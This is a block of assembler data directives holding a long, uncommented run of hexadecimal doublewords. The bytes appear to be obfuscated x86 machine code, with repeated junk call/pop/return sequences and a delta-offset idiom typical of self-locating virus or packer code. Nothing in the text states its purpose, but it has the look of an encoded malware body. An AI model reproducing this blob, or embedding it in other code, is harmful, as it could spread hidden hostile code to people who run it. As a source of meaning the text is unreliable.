		dd 18042444h, 42000000h, 85DCC352h, 0FB3FFE9h, 883h, 0BD8B5200h
		dd 6030951h, 0D98C665Eh, 0F04C1F6h, 0A684h, 68C0F00h, 29000000h
		dd 32089BDh, 0A595FF06h, 89060311h, 313E5B5h, 6A5B06h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 91CBEBC3h, 12999D31h, 0C32B0603h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0E4C35242h,	0BBF14443h, 8B23061Dh
		dd 32379BDh, 8343D06h, 860F0000h, 33h, 0D59D8B60h, 66060331h
		dd 61310AB8h, 4DE9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 398D8996h, 8B060323h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 9E1C7181h, 8068E639h, 7B37E781h,	0C38B5805h
		dd 8D89D88Bh, 6031451h,	52E68166h, 0C985C7F0h, 3706031Bh
		dd 8B389617h, 0B98D01C0h, 8106032Ch, 32879BDh, 7D006h
		dd 53850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 4287C357h, 7985FFD6h
		dd 6A060328h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 5DA3C352h, 0CE997h, 42AD0000h
		dd 9F2272F4h, 9B9378A9h, 0B5FFF88Bh, 6032879h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 0E9BD339Ch
		dd 0FF060322h, 31FB995h, 6A90F806h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 403BC350h
		dd 89F9E79Fh, 30F79BDh,	29952906h, 1060311h, 303C9BDh
		dd 99D2906h, 3306031Dh,	3063DBDh, 6AF38B06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 4E89C352h, 75FA6523h, 403BD501h, 6AFABF0Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 40D3C355h, 60CC37C7h, 0F732D8B5h, 89F28B66h,	32C4585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8123362Eh, 9425C6EFh, 4DB58B0Eh,	6A06030Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 29A9C353h, 6AA47BC1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9B3AC352h
		dd 8D31F2F0h, 6032EF5h,	0FFF79BE9h, 898589FFh, 8B06030Fh
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0F9E8DC69h, 66416102h, 4EBF18Bh,	0
		dd 919BD8Bh, 0B5230603h, 6032BBDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A9C35545h,	0DB51B2CCh, 899D8909h
		dd 8D060306h, 3281185h,	0ADBD0B06h, 9006031Ch, 8E0Fh, 66500000h
		dd 6A90FA8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 8BECC352h, 6650DD1Bh, 6A8FD053h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 70FA1E5Dh, 6AE42269h, 9DE78100h,	8D13666Dh
		dd 6F04385h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E96F9639h, 11h, 2F104DF0h, 7A2355C0h
		dd 0C62F66D4h, 0B9C0237Bh, 858953D1h, 60309CDh,	5C0835Fh
		dd 22D98D29h, 0E8900603h, 7, 0BB975975h, 0E9C2F04Bh, 11h
		dd 89394BC2h, 0C377655Eh, 522AC01Eh, 0C5CFE975h, 0BE505E43h
		dd 28E62B40h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0C244FE14h, 0DE1D8333h, 0AE89867h
		dd 66000000h, 95417ADEh, 0BCB14652h, 6A5FF81Dh,	58A0F00h
		dd 0BE000000h, 7D14D32h, 850F006Ah, 6, 1B058529h, 0DE90603h
		dd 61000000h, 6BBFF95Fh, 0CEE1D7D0h, 0AB657A3Ah, 0CC995FFh
		dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 81EEF7C3h, 0A973C1EFh, 479D8D33h,	89060697h
		dd 310EDBDh, 8BD3FF06h,	3254DB5h, 1585FF06h, 5106032Ah
		dd 9E9h, 0BD939A00h, 15D35AECh,	0E95E8BCBh, 7D1h, 0E8h
		dd 0ED815D00h, 606F04Dh, 143DBD29h, 0BD810603h,	6032879h
		dd 7D0h, 12B860Fh, 8BF50000h, 312F19Dh,	50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0EDBE6612h, 9B52B86h, 81060325h, 100E3h, 0F6815300h
		dd 5119DE45h, 0FDB0B5Fh, 0AB85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C5A5550Ah
		dd 32564BA1h, 0BF66E035h, 858901E7h, 6032C51h, 0EE78BD83h
		dd 0F000606h, 884h, 78E900h, 0BF0F0000h, 7885C7FBh, 10606EEh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 79BBC355h, 10D0EE32h, 0B9A621C8h
		dd 0A5BD8952h, 5F06032Ch, 39E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B0A9C742h
		dd 0D327FE49h, 51BA6050h, 6166837Fh, 0EE7885C7h, 606h
		dd 0BE660000h, 9D8D1DB4h, 60312F1h, 8688EE81h, 23815FB2h
		dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	9EC35747h, 0DB8C66C0h, 5CB1E0BEh, 4C3F636h, 63840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 1B47A2C3h, 0A595FFD9h, 6A060311h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BFFC355h, 31C7DBDh,	7E806h,	226E0000h, 339B9BC3h, 553CBE8Ah
		dd 905F29E1h, 9050F78Bh, 0CBC78166h, 45FE996h, 0CE810000h
		dd 4FB6AF6Ah, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 2905BAC3h, 3311985h, 128B0F06h
		dd 0F000000h, 0C8Bh, 7E900h, 0AD520000h, 0FCB7208Fh, 4091BEB2h
		dd 70E6155Dh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	2DC35040h, 6004029Ah, 1DE98166h, 9D8953D7h, 6031465h
		dd 71E46159h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	1AC35646h, 0B58B3CBCh, 6032BC9h, 6AD8B60Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0F93FC350h, 6BAh, 7DBD8900h,	8B060332h, 57006AC3h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 6BADF61Ah, 7758F96Eh, 0E99D89BCh, 0C106031Eh, 37BF04E8h
		dd 66295CA3h, 12E9E2F7h, 33000000h, 0E4B04E04h,	9CFF2C82h
		dd 0D8B0121Fh, 0B21B0AA7h, 6AD82BF6h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8C38C355h
		dd 0D8E3F668h, 895E5650h, 0FE9241Ch, 82000000h,	2A04CF22h
		dd 0DEB9E70Eh, 3FD8D82Bh, 0B5FF6A22h, 6032879h,	53DE8166h
		dd 0B995FFB1h, 6A06031Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0DDD0C352h,	0B4C2F707h
		dd 0C5E242DBh, 6A00B0h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0EF58EC3h, 820FA738h, 8,	0D5BD8953h
		dd 5E06032Ah, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 68FE3C3h, 47B6BD0Dh, 41BD8BAFh
		dd 0E4060304h, 55006A71h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 7A88948Dh, 0F613CCBh
		dd 25083h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0B485BE51h, 0B60F5A43h, 7DCE81D8h
		dd 0BA77DBFAh, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0E7C35141h, 85898A99h, 6031C41h, 0C38BF88Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2FC35242h, 8B661748h
		dd 4E8C1F9h, 2D8589h, 0F7660603h, 56006AE2h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 4B22E6A3h
		dd 19074FD9h, 25C9BD8Bh, 0D82B0603h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 89C35545h, 7F7CF378h, 90A2C9Fh
		dd 32AD195h, 0F98B5806h, 880FD82Bh, 16Dh, 28C68166h, 7B91Bh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0FDC485C3h, 8B05A880h, 301CDB5h, 0C18306h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CAC35747h
		dd 898796C1h, 313A985h,	0FD93B06h, 10C86h, 0F9BD8B00h
		dd 66060308h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0D8590CC3h, 0FB80A686h, 0A1BD8BDBh
		dd 0F6060310h, 840F04C1h, 0A7h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 67C35040h, 66A777F9h, 0FF23B9BFh
		dd 311A595h, 9E906h, 0CE670000h, 0E7BA6760h, 5B1D5FA5h
		dd 5621DF81h, 0C32B6669h, 8343Dh, 5C860F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0F9DAC351h, 0FE8h, 88C18400h, 0A44DBC81h
		dd 1B833176h, 0ABBA2315h, 9DD78166h, 4AE95F8Dh,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A635C353h, 8B8FB6F5h, 55006AC0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 552200E0h
		dd 8BC90A0Dh, 3034DB5h,	8BC38B06h, 0F38B66D8h, 25CD85C7h
		dd 0A3FD0603h
		dd 6A75F4h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 75CEE2C3h, 0FB8B667Dh, 820FC08Bh,	6, 0C91B58Bh
		dd 0BD810603h, 6032879h, 7D0h, 16850Fh,	0B5290000h, 6030CA1h
		dd 287985FFh, 50560603h, 3111BD8Bh, 5E5F0603h, 2879B5FFh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 838CA1C3h, 1BA6E3C4h, 0CC5BD0Bh, 95FF0603h
		dd 6031FB9h, 8ACF8166h,	6A90EEh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0E4C5E6C3h, 92995F41h
		dd 0B58BD5A9h, 60329FDh, 0CE8h,	3C022200h, 85D46F95h, 2109C451h
		dd 5EFA8B15h, 10219D89h, 81660603h, 29B655EFh, 32279B5h
		dd 77BE5606h, 8955D92Ch, 320F585h, 7E95F06h, 0B3000000h
		dd 0B4766111h, 0BD8B6AEFh, 60301DDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0B7C35040h,	0B58960A1h, 60323D1h
		dd 41B58BFCh, 0F06030Ch, 0E861CEB7h, 0Bh, 1A085D9Ah, 0F564F360h
		dd 89772D9Ch, 3315DBDh,	5E906h,	0CF370000h, 5FA58143h
		dd 0BD8BF98Bh, 60324E9h, 0F65BD2Bh, 0B5330603h,	6030AD1h
		dd 1AA54EBEh, 25BD8904h, 6A060322h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 8430C357h
		dd 0BE4B4927h, 35E9F5DAh, 0FFFFFF8h, 8Fh, 6AC18B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0C77C355h, 0E96012EFh, 0Dh, 33821518h, 1B747AC3h, 6E639A74h
		dd 4EBE1h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0D5C9C352h, 8932D2B3h,	30375BDh
		dd 8DF78B06h, 3281185h,	65958906h, 8B06032Ch, 30A29BDh
		dd 52505006h, 4BF0BE66h, 0BE53310Fh, 8B78B52h, 89585A5Eh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0D6691CC3h, 850F006Ah, 0
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 870F53C3h, 0Ah, 48E0Fh, 0BF660000h, 0BE66A153h
		dd 858D66D9h, 606FA35h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 45C35545h, 601B50A8h,	0E1BEB8EAh, 891097DCh
		dd 324F185h, 5C08306h, 90F18B66h, 0E7BE5250h, 0F687A6Ah
		dd 5AF28B31h, 0E3BF5058h, 9010F5A7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0B1C35040h,	0E78166E7h, 6A4C69h
		dd 0A31B52Bh, 6A0603h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 8C35343h, 95FF6621h, 6030CC9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 94C35141h, 893E0AB0h
		dd 303E99Dh, 479D8D06h,	6A060697h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 77C7C356h
		dd 73B01335h, 0B61CC66h, 32CB9B5h, 6AD3FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9CDC353h, 0FFDD2758h, 32A1585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0D9EECDF7h
		dd 773E914h, 0E80000h, 5D000000h, 0FA3FED81h, 6A0606h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 81E48AC3h, 32879BDh,	7D006h,	3F860F00h, 66000001h, 8B465BBEh
		dd 305BD9Dh, 0FE806h, 2CF90000h, 0CE4EBA9Ch, 40360DC9h
		dd 0D8494200h, 0E3815F16h, 100h, 0F89B523h, 0DB0B0603h
		dd 7D850Fh, 0B58B0000h,	6031FCDh, 0F84FBD83h, 0F000606h
		dd 1084h, 0E6816600h, 0B58B03BFh, 60326E9h, 86E9h, 4F85C700h
		dd 10606F8h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0A735C355h,	0B5092181h
		dd 6031F11h, 52E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 364DE6C4h, 19BD0380h
		dd 0C7060331h, 6F84F85h, 6, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 58EE4AF8h
		dd 8DA239D2h, 305BD9Dh,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 12E912B3h, 0EC000000h
		dd 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h, 0FF23815Bh
		dd 6AFFFFFEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 1BD5C356h, 1B7D9589h, 8C660603h
		dd 0D1B58BDBh, 0F606030Ch, 840F04C3h, 30h, 68D0Fh, 95890000h
		dd 6032E31h, 11A595FFh,	0B5890603h, 6032929h, 0F525050h
		dd 685h, 850F00h, 0F000000h, 5AF88B31h,	24048958h, 37FE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 284D98CEh, 93B6A156h, 0BE8h, 5A575100h
		dd 225A35CCh, 0A6EA0EB7h, 810F52h, 5E000000h, 7E95Eh, 64E50000h
		dd 9E4910B7h, 0F500B05Ch, 816670E6h, 0E435D3CEh, 56006A71h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0D26CFF3Ch, 0ED9E28C5h, 810F60DBh, 6, 26F58589h, 0F610603h
		dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 41D346C3h, 6BA17ACh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F03CC356h, 0F1858B60h, 6106030Bh, 6AC38Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 35FA25C3h, 825E818h,	0CA5B52Bh, 0E8C10603h, 0DE816604h
		dd 0F7668580h, 0FD82BE2h, 480h,	11B56000h, 93509361h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 44C35646h, 0FFF7B70Fh
		dd 32879B5h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 95FF07C5h, 6031FB9h, 0CE8h, 24A94300h
		dd 0BAE51063h, 43E30F1Dh, 21BD89F5h, 5F060300h,	0CE900B0h
		dd 0EC000000h, 3D9C2574h, 2F41543Dh, 0E61A606Bh, 0FBBF0F70h
		dd 898D8B60h, 8B060326h, 313B585h, 71E46106h, 3CFEB70Fh
		dd 0D5830F61h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 4FC7C357h, 7921C525h
		dd 296B14A8h, 328DD9Dh,	0D8B60F06h, 2681B58Bh, 6BA0603h
		dd 8B000000h, 331BDB5h,	6AC38B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 979BC357h
		dd 4BAFCA1Dh, 0EE9h, 5F605600h,	0F07656Eh, 0E07EF6CDh
		dd 0C1C606C6h, 66F804E8h, 8501E2F7h, 6030AE9h, 6AD82Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 775764C3h, 0D1BD23C5h, 58060302h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0AFC35343h,	43A90852h, 280FBCFBh
		dd 0FD82B88h, 0FF88h, 7B9F800h,	29000000h, 328CD8Dh, 0A5BD8906h
		dd 83060329h, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 21FB76C3h, 0D01F2A57h, 860FD93Bh
		dd 0C0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 14h,	20C35545h, 66FAB70Fh, 0C1F6D98Ch, 70840F04h, 8B000000h
		dd 32901B5h, 0A595FF06h, 0E8060311h, 8,	0EC904B9Bh, 0D0D9A21Fh
		dd 89DF8166h, 6A5B5E21h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 512EC350h, 0C32B253Fh
		dd 11820Fh, 5E80000h, 0A4000000h, 18E9E2Bh, 0A7DB529h
		dd 3D5E0603h, 834h, 0D860Fh, 8B660000h,	2AE9FBh, 81660000h
		dd 8BA2ABEEh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 1AF36EC5h, 0F86E98D9h, 0D88BC38Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1EC35242h
		dd 2069B58Bh, 85290603h, 60328A9h, 12F185C7h, 0CB3B0603h
		dd 8BFC1DDBh, 8AD681C0h, 812C01F5h, 32879BDh, 7D006h, 39850F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 17A0C352h, 5C1CBBBh, 287985FFh
		dd 0DE90603h, 42000000h, 34AD49F1h, 7D47248Dh, 9FED1A9Fh
		dd 2879B5FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0B55F8C3h, 0AD11679Dh, 0B995FF8Ch
		dd 6A06031Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E96EC351h, 9,	6B7176E4h, 0CD4626B2h
		dd 0CD850147h, 9006032Eh, 2E8BBE66h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 88C35545h, 0C66E2EEEh, 13E98774h
		dd 0A8000000h, 1492D253h, 29AB0F55h, 5157EE23h,	0ED48A5C6h
		dd 0FFC7FD5h, 0BF0FF0BFh, 0B9CF81FFh, 605B29F7h, 1B068BBEh
		dd 8880F13h, 29000000h,	31061B5h, 0E9595106h, 0Bh, 3097D800h
		dd 46CA9AE5h, 61DB9779h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 15C35545h, 0DDE07B8Dh, 48AC84D7h, 0BBF66EAh
		dd 8166601Bh, 893DE0C7h, 32101BDh, 0D98B6606h, 0F38B6661h
		dd 6AFABF0Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0B5EBC351h, 0F34E871h,	8589F3BFh
		dd 6031E9Dh, 2AE5BD8Bh,	800F0603h, 26h,	264DBD8Bh, 12E80603h
		dd 0D6000000h, 0AEEFF8E3h, 3E54F40Ch, 2D55C2DEh, 0C163A3D6h
		dd 8B6160EDh, 32AE9BDh,	0CBE95F06h, 0E9FFFFF8h,	14h, 7BDF75C0h
		dd 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h, 0E0A2640Ah, 68C0Fh
		dd 0B58B0000h, 60304E1h, 138E0Fh, 0BD2B0000h, 6031399h
		dd 8E9h, 0AF5FA700h, 6071BDD6h,	6AC18BE0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F528C353h
		dd 4EB78h, 0B000000h, 31791BDh,	0E7816606h, 858DF838h
		dd 6032811h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	5DC35242h, 0AAE50099h, 901C96D4h, 744BE66h, 13BF6650h
		dd 81669033h, 6A206FCEh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 3373D21Ah, 31CE1BDh, 95B58B06h
		dd 6A06032Ah, 5E858D00h, 6A060703h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6ED8C355h
		dd 0DB37EC48h, 0BD317CE7h, 603174Dh, 6A05C083h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 33F9C351h, 0BF665260h, 0BF50816Bh, 4393EFD7h, 56240489h
		dd 2D5CBEh, 6A5E24h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 6FC35747h, 8D89518Eh,	6032915h, 6A006A5Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B792C357h, 0F07AB77Eh, 8D89C01Bh, 60329C1h
		dd 0CC995FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B58B90C3h, 60328CDh, 97479D8Dh
		dd 5F530606h, 0BD89D3FFh, 60330C1h, 2A1585FFh, 6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 6A6336C3h, 0E3BAAB6Ah, 3DE9CF7Ch, 0E8000009h, 0
		dd 68ED815Dh, 89060703h, 311AD85h, 79BD8106h, 0D0060328h
		dd 0F000007h, 13786h, 0A1B50300h, 2906031Dh, 31D7D9Dh
		dd 4D9D8B06h, 6A060321h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 426CC357h, 0CCC53EFDh
		dd 100E381h, 0BF90000h,	7B850FDBh, 8B000000h, 30181B5h
		dd 0CFBD8306h, 60701h, 4D840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1A9DA4C3h
		dd 2D81B58Bh, 0E9F50603h, 6Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0AFC35545h,	8083E8F6h, 0C76B18FEh
		dd 701CF85h, 106h, 0C1BD8900h, 0E9060330h, 35h,	23D5B58Bh
		dd 85C70603h, 60701CFh,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 51C35545h
		dd 637899A5h, 0FBCE8166h, 4D9D8D2Ah, 6A060321h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 270EC356h, 0AF3A6563h, 81D6B23Bh, 0FFFEFF23h, 0AE8FFh
		dd 0ECD70000h, 7D8E0234h, 442CC140h, 58A0Fh, 0E1BE0000h
		dd 5F7BC434h, 0FDB8C66h, 0C3F6F9BFh, 0A1840F04h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0C369C353h, 165B5768h, 8589C75Bh,	60322FDh
		dd 1FE59531h, 95FF0603h, 60311A5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 71C35141h, 0EBEA853Fh, 4B22E6A3h
		dd 3E9ABEBFh, 0FE8B6619h, 90F38B66h, 50F78B66h,	3830Fh
		dd 8B660000h, 6A90F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 696939C3h, 9B2838B9h, 66A68CCEh
		dd 8501FE8Bh, 6031B25h,	52CE9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 6DBAD566h
		dd 0F6B70F4Eh, 6A00B0h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0F3016BC3h, 17A159B7h, 70E62D82h
		dd 0B60F71E4h, 0EE9D8h,	0A43B0000h, 0DF733714h,	806051E9h
		dd 0A50460F5h, 6BAh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F599EBCh, 689h, 0C1953100h
		dd 6606031Fh, 0C38BF98Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0B6C35646h, 9AEF649Dh, 134AB4Ch, 31EED85h
		dd 1BD3106h, 6606030Dh,	0E8C1F38Bh, 0AE904h, 97A20000h
		dd 0E62CBBDAh, 0D23B0F65h, 6AE2F766h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89BAC352h
		dd 3197585h, 7E95706h, 7A000000h, 0E039009Dh, 2B5F61EBh
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 82E4B04Eh, 1F9CFF2Ch, 38A0F12h, 0F000000h
		dd 0F50F9B7h, 283h, 89FE8B00h, 6A241Ch,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5C1C8FC3h
		dd 0CF4B4863h, 0FD89017h, 0C8Ch, 68E0F00h, 89000000h, 33129B5h
		dd 79B5FF06h, 6A060328h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0F424C356h,	18B9092Ch
		dd 66F0771Ch, 8531F78Bh, 6030F0Dh, 1FB995FFh, 6A0603h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 58A746C3h, 7E94165h,	0EC000000h, 91DE411h, 0FA8B0608h
		dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0EBFFD1C3h, 70E6D3A6h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 82C35646h, 0B4624834h, 5D1E76BBh
		dd 7E9h, 0CF866300h, 74E46218h,	0F860Fh, 0E9560000h, 8
		dd 0F577075Dh, 0E0ECC34Dh, 99BE665Fh, 6A71E4CAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 205C355h, 777BEAF5h,	3C08DC89h, 0AA830F61h, 6A000002h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 358BC352h, 0FF88BCFh, 6AD8B6h, 3E856h, 5E200000h
